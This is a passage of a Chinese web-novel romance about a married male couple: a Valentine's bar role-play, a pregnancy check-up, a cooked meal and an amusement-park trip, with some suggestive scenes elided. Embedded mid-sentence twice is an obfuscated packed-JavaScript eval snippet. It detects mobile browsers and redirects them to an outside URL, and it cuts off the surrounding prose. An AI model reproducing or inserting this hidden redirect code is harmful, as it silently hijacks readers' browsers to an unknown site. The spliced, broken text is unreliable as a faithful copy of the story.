至少是个好结局。 金融男可能只是标准金融男:道德底线弹性大,谁都能撩,撩完就走,不需要负责,也不用考虑后遗症。 这种他在这儿见过不少。 富二代点了点头,居然也很干脆:“行。” ……居然没纠缠。 酒保一愣。 难道也是个只动嘴的? 他在心里默默把这两个人的标签往上挪了一点点。 毕竟之前已经贴到最底层了,现在只剩洗白的空间。 金融男站起身,把那杯几乎没动过的威士忌往里推了推。 “酒不错。” “谢谢。”酒保下意识回应。 金融男转身往外走。 酒保已经在心里给这段插曲下结论了: 情人节遇男通讯录,但又没那么通讯录,至少没走到掏房卡这一步。 行吧。 尚可理解。 酒保决定把这段奇葩插曲彻底翻篇,专心把今晚剩下的时间安全送走。 下一秒,金融男却又停下脚步。 回头。 酒保心里一紧。 ……还有? “账全部记我这儿。” 金融男报了一个房号。 “好。”酒保点头并松了口气,手已经条件反射地开始操作系统。 房号刚输完,他职业脑子慢半拍地跟上来:这个楼层,好像高级打工人也住不起。 金融男把手伸进西装内袋,像是在找什么。 就在这时,门口的感应灯亮了一下。 酒保下意识抬头,不是客人,只是有人经过。 等他再把视线收回吧台,金融男已经不在了,吧台边,只剩富二代。 富二代低头看着自己手里,像是在确认什么。 然后抬起手,两指之间,夹着一张房卡。 酒保:“……” 房卡样式很简单,简单到一眼就知道属于哪里。 Rosewood顶层。 复式套房。 酒保脑子里那句“至少守住了底线”,在这一刻,连标点符号都没剩下。 富二代吹了声口哨,把杯子里剩下的龙舌兰一口喝完,站起身,动作利落。 临走前还挺有礼貌:“情人节辛苦了。” 酒保:“……不辛苦。” 真的不辛苦。 就是对直男这个词,产生了一点信任危机。 他低头看着自己反光的吧台面。 良久。 论人类世界复杂多样性。 尤其是在 Rosewood。 尤其是在情人节。 顶层。 门刚打开,迟铎就被一双手捞过去,背抵在门后。 房间一片漆黑,灯没开,窗外的的霓虹灯光也被厚重的帘子挡住了。 他连象征性的挣扎都没有,顺势抬手,搂上了面前人的脖子。 “你竟然说我话多。”明显还在耿耿于怀。 “你在下面挺能说。”裴与驰客观评价道。 “我那是敬业。”迟铎立刻反驳,“尊重角色扮演,懂吗?你没看到酒保都快碎了。” “而且,是你先说要玩的。” 在花样这块,迟铎甘拜下风。 “那你为什么不继续?”裴与驰反问,暗示那句过于突然的“约吗?” 结束信号给的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949903|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太快。 迟铎抬眼看他,眼神全是控诉。 怪谁? 他本来演得好好的,直到裴与驰抽了那口雪茄,之后还又抽了一口。 明明不常抽,却偏偏抽得那么从容,吐烟的时候还一副“随你怎么演”的样子。 帅得一点都不配合剧情。 妈的。 他绝对是故意的,表演道具还真会找。 害他觉得演下去是浪费时间,他情人节不是来给酒保加班制造心理阴影的。 裴与驰也不想知道答案,他关心的重点不在这上。 “外面的演够了,”他慢慢说,语气压低,“现在是不是该在这里演了?” 迟铎:“……” 迟铎翻了个白眼。 下一秒,却已经明显换了状态,兴致勃勃地贴了过去。 场地转移。 裴与驰坐在办公椅上,背脊挺直,表情冷淡。 灯光压得很低,只在他肩线和指间留下一点轮廓。 雪茄被他随意夹着,烟雾慢慢散开。 像是早就迟铎会吃这一套。 迟铎看了他一眼,又看了一眼那支雪茄,没忍住轻轻啧了一声。 “你今天准备得挺全。” 裴与驰抬眼。 那一眼不需要多余情绪,却让人下意识站不稳。 迟铎在他面前停下,伸手把椅子轻轻转正。 然后慢慢低下身,在一个暧昧的位置停住。 他抬头看了一眼对方。 下一秒,西装裤lian 被 ya chi叼住,往xia拉。 做好这一切,迟铎又仰头看着他,像很乖巧的样子,眼神又全是勾引。 裴与驰的目光在他身上停了一秒。 然后开口。 声音低而简短。 “脱。” 迟铎被这一眼看得心口一紧, 却还是笑了,笑得很乖。 “好。” 他应得很轻,尾音却带着笑: “……daddy。” 裴与驰指间的雪茄顿了一下。 角色扮演, 在这一刻,才真正开始。 第二天下午,天色已经暗下来。 迟铎醒过来时,房间里只剩下一点余光。他动了动手,才发现左手中指上多了一枚戒指。 克罗心,K 金。 他抬起手,眯着眼看了一会儿,表情逐渐变得满意起来。 行吧。 这就是他当了一整夜 stripper 的工资。 迟铎在心里勉强给裴与驰记了一笔好账。 祝贺他难得当人了一回。 明明裴与驰对他的喜好一清二楚,却偏偏每次都要往他雷点上踩,像是单纯想看他无语、又拿他没办法的样子。 迟铎想到那枚被锁在保险柜最深处的粉色闪光弹,脸上写满嫌弃。 也不知道哪来的恶趣味。 行,恶趣味是吧。 他又想起自己前两天刚拎回家的那一堆橙盒子,心情瞬间平衡了。 下一秒,浴室门开了。 裴与驰从里面走出来,没穿上衣,水汽还没散,肩背线条清楚得过分。 迟铎靠在床上,欣赏了一眼老公的身材,又低头看了一眼自己身上那些昨晚大战的成果,非常公允地给自己点了个赞。 敬业舞娘配合理工伤。 他翻身下床,从背后贴过去,右手手臂自然地圈住裴与驰的脖子。 动作很黏人,语气却一点都不客气。 “你的情人节礼物,”他说,“就是陪我一起穿配货。” 裴与驰:“……” 迟铎继续补刀:“家里一堆,我都按你的尺码买的,应有尽有。桌子我也换了。” 裴与驰低头,看了一眼他脖子上的马镫项链,没说话。 迟铎立刻强调,像是提前堵路:“哄太后的,你也别想跑。” 他语气理直气壮。 毕竟为了哄婆婆,他费尽心思。 再说,反正从小到大,他们都是这样。 第三天 第三天去迟家接人。 门刚打开,小天使就被迟了了牵着小手带出来。 小天使走路还不太稳,脚步一急就开始踉跄,小腿肉嘟嘟地发力,整个人像要往前摔。 他仰着脸,急得不行,小奶音含糊又认真:“m…mommy! d…daddy!” 迟铎赶紧快步迎上去,俯身把那团肉嘟嘟接进怀里。还没来得及反应,脸颊就被吧唧糊了一口口水味的亲亲。 迟铎心口一软,下一秒又硬生生卡住。 同样是 daddy。 儿子叫得可爱又天使。 而前晚自己叫得…… 过于职业,无师自通的那种。 迟来的羞耻上线,而自家的亲 DAD,显然也没打算放过他。 迟了了站在门口,手里拿着心肝小宝贝的围兜,先是站着看了一会儿,非常完整地欣赏了一番母慈子孝的画面。 然后才走过来,动作熟练地给宝贝把围兜系好。 “情人节过得不错吧。”语气很平,却一击即中。 迟铎:“……” “昨天一天我和你妈在家带孩子。”迟了了不想放过,“前天也是。” 他说完还停了一下,像是在认真核对时间线。 “算下来,你们俩消失了快两天。” 他抬眼,补了句更平静的:“我记性应该没差到这份上吧?” 迟铎:“……” 迟父的目光在两人之间扫了一眼,终于给出点评: “年轻人,”他说,“精力是真好。” 在DAD和儿子的双重打击下,daddy这个剧本被迟铎当场封存,永封。 彩蛋:Triple Kill 围观这一晚的,并不止酒保一个人。 情人节这天,裴谦之在国外,行程排得很满,跨洲访问,落地时间一再推迟。 这对夫妻早就习惯了这样的生活节奏。 当天,沈经纬收到确认邮件。 Rosewood的高级spa,加一晚套房,安排得一丝不苟。 护理结束后,时间还早。 她换了衣服,下楼,在Manor Club坐了一会儿。 正好见个客户。 事情谈完,对方先走。 沈经纬没有立刻离开,点了杯香槟,坐在原位。 她坐下的时候,看见了那道熟悉的身影。 于是顺手,把椅子调了一个角度。 情人节这天,不必正面。 没多久,另一个熟人也如期而至。 酒吧里的灯光偏暗,玻璃映出零碎的人影。 沈经纬端着杯子,没有回头。 看了一会儿,她轻轻挑了下眉。 像是被某个细节取悦了一下。 随即,神情又恢复如常。 她低头转了转酒杯,杯中的气泡缓慢上浮。 嘴角有一丝极淡的笑意泄出来,很快又收住。 等那两个人起身离开,她才站起来。 离开前,沈经纬拿出手机,给裴谦之发了条消息。 【spa很好。】 【酒店也不错。】 【顺便看了场戏。】 发送成功。 落款只有两个字。 xx 她看了一眼屏幕。 指腹在那两个字上停了一下。 脸上那点热意来得很轻,也很短。 沈经纬把手机收回包里,转身离开。 24.庆祝 考虑到今天要去医院过审,俩人都醒得很早。 迟铎平时起床得靠恶魔低语、威逼利诱,今天却醒得比闹钟还早。睁眼那一瞬,手先下意识按在肚子上。肚子还是平的,掌心贴上去也摸不出个所以然。可里面确实住着个小家伙,今天还是它的“过审日”。 裴与驰也醒着,没出声,床头灯没开。他把人抱得更紧些,手指从发顶慢慢顺到后颈,像哄猫似的,一下一下不紧不慢,顺得人发软。 迟铎懒洋洋翻了个身,脸埋进枕头里,声音闷得含糊:“别摸了,再摸我又想睡回笼觉。” 8:30的预约,八点不到两人就到了医院,全副武装,阿汤哥看了都想来借下装备。 主任已经等在那儿,旁边还站着两个专家,手里拿着厚厚一沓报告。 满十二周后的第一次大复查,主任翻完报告,脸上终于露出一点笑意:“情况很稳定。” “接下来可以稍微轻松点了,出行也没太多问题,注意别太累就行。” 说着,像给准爸妈准备了一个小惊喜,把屏幕转了过来。 灰白影像里有个小小的轮廓,头大身短,四肢却很忙,像还没长开的小海马,跟眼前这两位帅哥长得两模两样。 屏幕角落的心率数字规律地跳动着,看起来很健康。 主任语气很专业:“心率很好,NT也在正常范围。” 迟铎盯得很仔细,但没看出来那只小海马到底在忙什么。他只好靠回椅背,装作自己只是随便看看。 既然过审通知拿到手,迟铎当场松了口气,像犯人刑满释放。 紧接着又觉得哪里不对。 孩子还在肚子里,这顶多叫暂缓执行。 但过一天算一天的他已经很满足,靠在椅背上,整个人肉眼可见地放松,脑子开始盘算今天吃什么庆祝。 下一秒,裴与驰开口,直接把他那口气摁回去。 “稳定是指哪些?” “这几项的正常范围在?” “波动到什么程度算异常?” “腹痛怎么分级?” “发烧、感染、脱水,分别怎么处理?” “需要带什么药?哪些不能用?” 主任的笑僵在脸上。 专家们互相看了一眼。 迟铎:“……” 裴与驰明明不是学医的,才当了三个月准爸爸,却已经把妊娠指标倒背如流,问得精准到不容敷衍,连“差不多”三个字都不给留。 主任试图打圆场:“裴总,我们只能说总体风险下降……” 裴与驰点头:“我知道。” 然后继续。 “下降到什么程度?” “你们经验里最常见的意外是什么?” “发生了怎么处理?哪一步最紧急?” “哪些能观察,哪些必须进急诊?” 空气开始发烫,主任额角真的渗了汗。有人把笔转得飞快,像转着转着能转出答案;有人拿纸巾擦了手心,又迅速塞回口袋,假装没事发生。 谁敢打包票。 这里是医院,不是许愿池。 要是真的有许愿池就好了。 在场的专家有一个算一个,都许自己立刻中大奖。 下一秒脱下白大褂,脱离这磨人的服务业。 尤其裴总这么紧张老婆,他们实在担不起责任。 被大股东问到头大如斗的主任,“生完再领证”的建议都已经到了嘴边,转念一回忆裴总的签字权三连问,又赶紧把建议咽回肚子里。 他还是老老实实当好服务员吧。 白大褂是工服,忍气吞声是KPI,伺候好金主才是正经事。 于是,祥林嫂上岗,重复这三个月说了无数次的两句话: “妊娠没有百分之百。” “只能说目前一切正常。” “好。”裴总破天荒地说。 主任刚想松口气,裴与驰把话题往外推了一步。 “我需要欧洲的预案。”他说。 迟铎眼皮一跳。 他以为今天到这就结束了。 裴与驰却像早就写好下一页。 “那边对接医院是谁?” “产科、急诊、麻醉联系人给我。” “中文沟通渠道要提前建立。” “落地不舒服第一站去哪?流程怎么走?谁来接?” “绿色通道怎么开?” “需要哪些证明文件?谁负责准备?” “给我一整套完整方案。” 主任沉默两秒,只能点头,专家们也只能点头。 迟铎目瞪口呆,他以为只是去晃一圈领个证,这架势感觉孩子要在那边生。 他靠回椅背里,心里那点“暂缓执行”的轻松,瞬间又变回“随时可能被执行”的惆怅。 上午8点到的,下午2点才再度坐上车。 裴太和医生一起被裴总折磨。 谁都没跑掉。 迟铎侧头看裴与驰,回想着他那股“今晚太医们谁也别想活着走出这里”的气势,终于忍不住开喷:“你要是生在古代当皇帝,太医不是辞官,就是起义。” 停半秒,他也不准备放过自己:“再然后言官还得给我封个妖妃,锅全甩我头上,遗臭万年那种。” 裴与驰陈述事实:“他们赚得足够多。” 迟铎:“……” 他想骂又骂不出来。 毕竟裴与驰工作作息007,他确实不双标。 只是平等折磨所有人,包括他自己。 既然帮不了医生减负,迟铎决定当他们的年终绩效。 车刚开出停车场,迟铎想起更重要的事。 “那我能不能吃点好的?” 裴与驰看着前方:“想吃什么?” 迟铎想都没想:“omakase。” 话一出口他就后悔了。 这段时间医生千叮咛万嘱咐,生食,生海鲜一概别碰,有李斯特菌风险的也别惦记。 裴与驰没理会:“今天我来做饭。” 迟铎:“……” 他憋了两秒,还是没忍住:“你做?” 厨艺方面,裴与驰跟他半斤八两,谁也别嫌谁。 当年烟雾警报器响他是始作俑者不假,但某位往有水的锅里直接扔油扔辣椒的也不干净。 他做饭,大概率把自己和孩子一起送走。 裴与驰:“嗯。” 迟铎:“你确定你做出来的能吃?” 裴与驰侧头,轻飘飘扫他一眼,没说话。 迟铎把后半句咽回去。 行。 想做就做呗。 最坏也就是一家人整整齐齐。 回到家,厨房已经备好料。 食材规规矩矩摆着,像提前分好区。肉整块包好,鱼在盒里,蔬菜洗好沥干,葱姜蒜装小盒放手边。 迟铎扫一圈,心里那点“送走全家套餐”的恐惧稍收。 至少不是临时起意。 裴与驰没直接进厨房,先拐进书房。 迟铎也没多想,脚步自然就跟了上去。 停工之后就是这样,裴与驰去哪儿,他就跟着当挂件;毕竟就算他不动,裴与驰也会把他带在身边。 迟铎懒懒靠在门框边,双手插兜,视线落在裴与驰背影上。 书房灯亮,裴与驰打开电脑。 屏幕一亮,迟铎就知道不对。 桌面被窗口占满。 他以为是工作。 结果扫到随便一条标题,就知道不对劲。 孕期饮食禁忌汇总。 李斯特菌风险食物清单。 可替代食材方案。 外出就餐点单注意事项。 腹痛恶心时可选食物。 欧洲各城市超市标签对照。 迟铎:“……” 他半天没吭声。 手指无意识地在裤缝上抠了一下,又松开,装作随口一问:“你看这么多干嘛,家里不是有人盯着?” 裴与驰:“我不放心。” 迟铎:“……” 控制狂。 他本来还想再骂一句,最后却什么都没说,眼神盯着地面,想把那点热憋回去。 裴与驰快速扫完最后一页,合上电脑,起身往厨房走,像只是确认最关键的东西。 迟铎跟出去,心里那点热被他压了压,换成一句轻飘飘的揶揄:“你工作还开小差。” 裴与驰脚步没停:“这也是工作。” “最首要的。” 迟铎:“……” 他不说话了。 迟铎坐在岛台旁,双手撑着台面,身子微微前倾,盯着裴与驰的刀。 认识这么多年,他能想象裴与驰拿刀捅人。 就是想象不出拿刀切菜。 刀光一闪,迟铎的呼吸就跟着轻了半拍。 刀一举起来,他的注意力就被拎起来。 裴与驰:“干嘛?” 迟铎:“监督。” 裴与驰:“监督什么。” 迟铎认真:“监督你别切到我老公的手。” 裴与驰停了半秒:“你老公没那么脆。” 迟铎一本正经:“我老公很贵。” 裴与驰低头继续切,语气淡:“那就别吓他。” 迟铎:“……” 他立刻闭嘴。 他真怕自己吓到裴与驰。 裴与驰一刀下去,他心里就跟着一紧,呼吸都不敢放大。 盯着那指尖,他还是没忍住:“手离远点。” 裴与驰“嗯”了一声,刀落得干脆。 迟铎刚松半口气,下一刀又绷回去。 裴与驰偏头看他:“你这么紧张干嘛。” 迟铎低声:“……没事。” 裴与驰停了一下,终于给解释:“我找厨师练过。” 迟铎:“练这个?” 裴与驰:“练做饭。” 迟铎:“练到什么程度。” 裴与驰手上没停:“够用。” 迟铎:“……” 英国教授说“good”,那就完了。 裴与驰说“够用”,那就稳了。 迟铎不想再探究他是找谁练、练了多久、为什么要练。 他现在只有一个念头: 别妨碍裴与驰,让这顿饭顺利出锅,然后自己一口不剩,全部吃掉。 岛台那杯温水被他拿起来又赶紧放下,像怕一动就影响……老公的发挥。 裴与驰没管他。 刀放回原位,顺手用布擦了擦案板,动作一丝不苟,再开火。 锅底滑一圈油,油温上来时发出极轻的滋啦声。 姜片下锅,香味瞬间漫开,又被他控制得干净不冲。 迟铎鼻尖动了动,胃里那点空落落的饥饿感忽然变得清晰。 裴与驰今天做的都是熟食,热的,好消化的。 也全是他爱吃的。 茶碗蒸进蒸箱,计时器滴一声,像盖章。 出汁好了,汤面清澈见底。 鳕鱼先腌好出水,他用厨房纸轻轻按干水珠,再下锅。油温刚好,两面煎到金黄定型,表皮微微鼓起,边缘透着诱人的焦色。最后淋出汁收一下,锅里发出轻微的咕嘟声,汁水裹住鱼身,亮得发光。 全程没多余动作。像他做所有“首要工作”一样,目标明确,干净利落。 迟铎看着看着,胸口忽然有点酸。 热意往上涌,鼻尖发麻,眼眶微红,纤长的睫毛根部被润湿。 不行。 不是害羞,也不是觉得哭了像认输。 就是…… 怕他看见自己哭会来哄自己,怕他打乱节奏,浪费了这份心意。 蒸箱又滴一声。 裴与驰把茶碗蒸端出来,盅面很光滑,热气薄薄一层。 他放到迟铎面前,顺手把勺子递过去。 迟铎接了,没动。盯着那盅看了两秒,像确认它是真的,又像舍不得动。 裴与驰没催,转身继续忙。 鳕鱼收汁时,他把火压得很稳,锅里只有轻微咕嘟。 旁边小锅里滚着清汤,乌冬面下去,煮到刚透,面身软滑却不断。 蔬菜入烤箱,温度不高,出来时边缘微焦,颜色干净诱人。 迟铎低头捏着勺柄,指节有点紧。 裴与驰翻鱼时,余光扫到那盅还完整:“凉了不好吃。” 迟铎低声:“……知道。” 他这才舀一口。 蛋羹入口即化,热意软软滑过舌尖,带着淡淡的鲜甜,直往胃里坠。热意落下去,像有人把他胸口那团堵的东西轻轻按平。 他发现自己真的吃得下。不只是胃口,心里那点悬着,也跟着松了。 裴与驰把鳕鱼盛出,摆盘极简。鱼身完整,汁水亮晶晶地挂在表面,轻轻一碰就颤。旁边一小碗清汤乌冬,汤清面透,葱花只点一点,像画龙点睛。烤蔬菜也放到手边,颜色干净鲜亮,烤得恰好,清爽爽口。 一桌东西都不复杂,却每样都严格遵循营养师的建议。 迟铎低头吃了两口,才像随口问:“你怎么突然学这些。” 裴与驰收拾台面,手上动作没停:“马上要去欧洲。” 迟铎:“去欧洲就要你下厨?” 裴与驰:“怕万一你在那边吃不下。” 迟铎别扭:“那边也有很多亚洲餐厅,又不是没在那边生活过。” 话虽说的硬,可他自己也知道,怀孕后口味变得很快,他也不确定到时候想吃什么。 裴与驰看了他一眼:“都备着,我才放心。” 迟铎:“……” 他又不说话了。 迟铎放下筷子又拿起,装作很平常地问:“那我要是想吃中餐呢。” 裴与驰:“给你做。” 迟铎:“你也学了?” 裴与驰:“嗯。” 并不意外的答案。 迟铎低头笑了一下,很快收住。 笑意没到眼底,只在嘴角停了一瞬,像不小心泄露,又被他自己按回去。 然后很轻地说一句:“那你不是会很累?” 裴与驰看着他,像在说一件再理所当然不过的事: “你吃得下就行。” 迟铎:“……” 他舌尖抵了抵上颚,把那点突如其来的热意压下去,低头夹了块鳕鱼,慢慢嚼。 直到筷子夹起最后一块,汁水顺着筷尖滴落,他把它送入口中。 然后真的按自己刚才的念头:一口不剩,全都吃掉。 饭后手机在桌角震了一下。 屏幕亮起一行推送标题,百家号和UC编辑一如既往身兼多职: 【迟铎停工真相:神秘女友怀孕陪产?抑郁强行要退圈?】 迟铎瞥一眼,嗤笑,把手机摆一边。 手却很轻地落在小腹上,像在跟里面那小家伙打招呼。 那儿还是平的。 但他知道,有只很活泼的小海马在健康长大。 手机又震了一下。 这次不是推送,是李浩: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950446|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【李浩】哥,词条都下了。爆料号也没了。 【李浩】品牌那边也稳了。对外只说“档期/项目规划调整,协商结束”,他们不发切割。 【李浩】今晚可以睡个好觉了! 迟铎看一眼,回了四个字: 【迟铎】好好休息。 裴与驰把温水推到他手边,低声问:“还要吗?” 迟铎抬眼:“要。” 晚上。 等裴与驰洗完出来,就看到被窝鼓起一个包,严丝合缝。 裴与驰站在床边停了两秒,俯身,手指从被角探进去。先摸到后颈。指腹落下去,轻轻揉了两下。被窝里的那团终于动了,肩线贴上来,贴得理直气壮。 迟铎露出半张脸,湿发贴着额角。他仰着头直直看着裴与驰,唇微张,呼吸刻意放慢,眼神黏得要命。 裴与驰低声:“躲什么?” 迟铎闷声:“冷。” ……… ………. 迟铎抬眼,呼吸热了一拍:“轻点。”尾音拖得很轻,像撒娇,又像故意。 话像埋怨,语气却像勾引。 ……….. 迟铎被压得吸了口气,指尖从被沿里探出来,勾住裴与驰的手腕,轻轻一拉,把人拽得更近。 裴与驰俯得更低,呼吸擦过他唇边。 迟铎不躲,指尖沿着他的腕骨往上滑了一截,像点火。下一秒又扣住他肩,指尖一紧,猛地一拽。 床垫一陷。 裴与驰被他拉得重心一偏,干脆利落地倒在床上。 ……….. 他居高临下看着裴与驰,眼神亮得不讲道理。 他没立刻说话,指尖在裴与驰的喉结上轻轻摩挲了一下,才一本正经:“满三个月了。” 裴与驰的目光从他湿发扫到锁骨,又回到他眼睛上:“嗯。” 迟铎俯身,在他唇上啄了一下。啄完也不退开,停在很近的距离里,鼻尖若有若无地擦过他鼻尖,像只给热,不给痛快。 声音压得很低:“值得庆祝。” 裴与驰抬手扶住他的腰,指腹在不紧不慢的摩挲,语气依旧慢条斯理:“你想怎么庆祝。” 迟铎:“……” 这死装男。 迟铎俯身又亲上去,亲得很短。分开也不退,呼吸热得很近,却偏偏不肯再多给一点。 ………… 最开始那点别扭早没了,初次打照面时的嫌弃也不知道什么时候变了味儿,如今只剩下熟练,甚至有点爱不释手。 裴与驰的呼吸果然立刻乱了,……….. ………… 他低头,在裴与驰唇边含了一下就松开,像安抚,又像勾引。 勾引完还闷声补一句,像宣告也像警告:“我主动的。” ………….. ………….. 彻底贴上的那刻,呼吸同时乱了。 ………….. ………….. …………. 迟铎缓过来,却没急着加快动作。 …………… 垂着眼,贴近一点,又停一点,像故意把人逼到边上才肯给一口气。 他停在最要命的那一瞬,自己没忍住先喘了一下,像差点没绷住。 垂眼休息一瞬后,再度抬眼看向眼前人,眼尾湿热,像在求饶,又像在勾引。 最后他低头,轻轻蹭过裴与驰的唇,声音低低的要求:“忍着。” 话说的很硬实,反应却截然相反。 ………… …………. 终于,他呼吸一沉,低骂一声,扣住迟铎的腰,一翻身把人带下去。 床头灯被瞬间按灭。 黑暗里只剩一句贴着耳侧的低声:“轮到我。” 语调不重,却足够让人乖乖听话。 ……………. 那一下像开关,裴与驰彻底不肯放过,呼吸和力道都变了,乱得干脆利落。 黑暗里只剩乱掉的呼吸,床褥轻轻响着,热得离谱。 ……………. 他埋在裴与驰颈侧,呼吸一下一下擦过去,像不肯放,也像舍不得松。 整个人都发麻,又恼又快乐。 很久以后才停。 裴与驰贴着他耳边,还是那副慢条斯理的语气,像完全不曾失控过:“庆祝满意了吗?” 迟铎喘着笑,牙痒得要命,抬手在他肩上掐了一把:“死装男。” 裴与驰闷笑一声,把人抱紧,坦然承认:“你说是就是。” 第二天一大早,交易团队内部远程会议。 参会的人跟往常一样面容严肃,镜头里一排职业脸,镜头外手指却在键盘上快速飞舞。 裴与驰准点上线。 没穿正装,罕见地穿了一件休闲体恤,领口松垮着没有整理。嗓子也有点哑,像是从床上直接起来随便抓了一件衣服就直接进了会,连镜子都没来得及照。脖颈到锁骨那一截,痕迹一片,明晃晃挂着。不难想象度过了一个怎样激烈的夜晚。 群聊瞬间起飞: “老板这是裸露敞口吧?” “你怎么确定是一只?这痕迹像分批成交。” “对手盘很强,老板昨晚怕是满仓接单。” “别问了,夜盘波动太大,所以决战到天明。” 裴与驰对此一概不知。 他翻开文件,语气照旧冷静:“开始。看夜盘。” PPT一页页翻过去,镜头对面的众人也句句“收到”“明白”,表情管理无可挑剔。 只是偶尔有人走神般停顿半拍,又迅速把视线拽回图表,仿佛谁多看一眼,谁就先在职业操守上爆仓。 裴太还没出镜,先用唇印跟员工们say了个hi。 迟铎这边也没好到哪去。裴与驰无缝衔接去开会,他也睡不下去,找衣服时动作慢了半拍。浴袍一掀,他低头看见......那一片痕迹,.......内侧那圈牙印最扎眼。沉默两秒。 幸好都在衣服可以遮住的地方。 迟铎把浴袍带子系紧,面无表情地下结论: “男人没过25,简直如狼似虎。” 他换好衣服走出去,正好撞见裴与驰坐在餐厅那头开视频会议。镜头里一排员工,镜头外厨师和佣人来回走。 裴与驰领口还是松着,那点痕迹明晃晃地挂着。 迟铎不难想象挂了多久,期间又有多少人看见自己的劳动成果。 他一言难尽地看了几秒,心里骂了一长串,最后只剩一句:你真行。 然后下定决心回头把镜子钉门上,裴与驰不照不许出。 他若无其事走过去,像什么都没发生。 只是顺手,把裴与驰的领口往上拢了拢。 镜头里一排职业脸瞬间同时僵住。 他们看到一双修长的手从画面边缘伸进来,动作很轻,也很自然,丝毫没有拘谨。 下一秒,那只手收回去,画面恢复如常。 裴与驰连眼皮都没抬,继续冷静推进:“下一页。” 群聊炸成烟花。 第一反应:情人入境。 第二反应:等等,这是老板家。老板开会都不避着。 结论秒出:老板娘。 最终总结:钻石王老五already taken。 至于那双手,虽然修长又白,但看上去稍微、有点、好像,也许、可能,比较中性这件事,群聊反正没人提,可能眼瞎,也可能是不敢。 老板以前是腐国留子嘛……老板娘性别不重要。 25.胎教 确认小海马在茁壮成长,欧洲之行也终于排上日程。 准备的这段时间里,迟铎以二十四岁高龄,重返高中生活。 上午学表演,下午练台词,中间两小时午休。 以前宿管老师每周还会在床头放块巧克力奖励一下,现在床头只剩裴与驰。 迟铎不睡,就得被睡。 他自认脸皮还没厚到下午顶着暧昧痕迹去上课,只好每天到点乖乖闭眼。 白天被老师骂了一整天,好不容易想放松,娱乐方式却被削到只剩三样: 3A 大作、台球、桌式足球。 后两样要人陪,但有人完全没有陪玩的自觉,服务意识严重不足。点单老板携质子出征,照样被按在地上摩擦。迟铎连输几把,气得摔杆为号,当场宣布退役,从此抱着手柄自闭。 他戴上耳机进游戏,路过一个西装男 NPC 就气不打一处来,顺手给了他一拳。再很有素质地报个警,站在原地等执法,主打一个依法治西装男。西装男 NPC 越想越气,没忍住冲上来回敬他一拳,结果被正好赶到的警察目击,当场正义行刑。 血花在 NPC 头顶炸开的瞬间,迟铎忽然想起王平柔那天阴阳怪气甩给他的一本《孕妈妈睡前胎教故事》。 迟铎:“……” 回头想想昨晚睡前,他的固定流程是:进游戏,先零元购枪店老板;顺手袭警;进 pub 之后,脱衣舞娘已经开始热舞。 他自诩自己玩游戏挺有素质,远不算法外狂徒。但胎教要是持续下去,怕不是让祖国的花骨朵还没盛开,就先凋零。 迟铎当机立断退了游戏。 又看了一圈。 再看一圈。 最后干脆退出平台,打开网页,玩起了黄金矿工。 哀吾生之多艰,唉。 更艰难的在后面。 耳机突然被摘下,裴与驰把耳机扣在手里,语气淡淡:“睡觉。” 迟铎看了眼电脑右下角:十点半。 又扫了眼日期:十二月上旬。 再确认了一遍自己的年龄:二十四,不是四十二。 这日子真的过不下去了。 以往这个点,美股刚开盘。裴与驰通常会去盯盘,顺手奴役中台、施压前台、压榨 KPI。迟铎就能趁乱苟到十二点,再不济也能混到十二点半。 最近倒好。 裴总不盯盘了,改盯他。十点半准时来赶猪进圈。关键他怎么算也是早婚早育,跟“高龄”这两个字,不说毫无关系,也是完全不沾边。到底哪里需要这么早睡觉。 迟铎想反抗。 他宁愿现在被睡,也不想现在就睡。 算上中午那两个小时的午休,他今天已经睡够了。 凭什么还要继续被赶进圈。 以前这个点,他要么在拍摄,要么在酒吧,要么在赛车场。 总之夜生活才刚开始。 裴与驰显然早就预判了他的预判。 “你乖一点。” “明天晚上带你去个地方。” 迟铎当场被拿捏:“什么地方?” “到了你就知道。” “前提是现在睡。” 迟铎盯着他两秒,试图从那张冷脸上解析出一点属于人类的良心,失败。 最后只剩一个字:“哦。” “哦。” 他乖乖躺下,表情像在躺棺材板。 既是觉得今天躺太久腰酸背痛,也是第一次清醒地意识到,自己居然真的在担心胎教这种事。 小腹依旧平坦,却少了以前那种清晰的腹肌线条,摸上去也软了一点。 他一边觉得胎教纯属玄学,一边又利索地退出游戏,掩耳盗铃得要命,生怕爆头音效穿过肚皮,直冲小海马脑门。 越想越乱。 操。 都怪裴与驰。 要不是他,自己至于喜当……? 气归气,人还是很诚实。棺材板翻了几下,没多久就把自己气睡着了。 第二天晚上八点半。 迟铎站在门口,面无表情,看着眼前灯火通明的乐园。 “你认真的?” 自从怀孕后,男人的速度与激情他暂时不敢奢望,平时玩玩模拟器已经算很知足。 但他万万没想到,知足的尽头,是沦落到和玩偶贴贴。 面前花窗铁门一合,背后城堡灯一亮。 迟铎眼前一黑。 又一黑。 这日子真的过不下去了。 “也可以回去,早点睡。”裴与驰贴心地给出第二个方案。 行吧。 游乐园就游乐园,至少今天不用十点半进棺材。 迟铎的底线,一低再低。 他转头看向一旁埋头带路、明显松了口气的工作人员,问得很认真:“你们这儿,最刺激的项目是什么?” 工作人员立刻精神抖擞,语速飞快:“夜场的话,过山车视野特别好,跳楼机夜景很震撼,激流勇进也很受欢迎,烟花时间我们也可以——” 话还没说完,人已经被带着拐了个弯。 音乐突然变甜,灯光突然变粉。 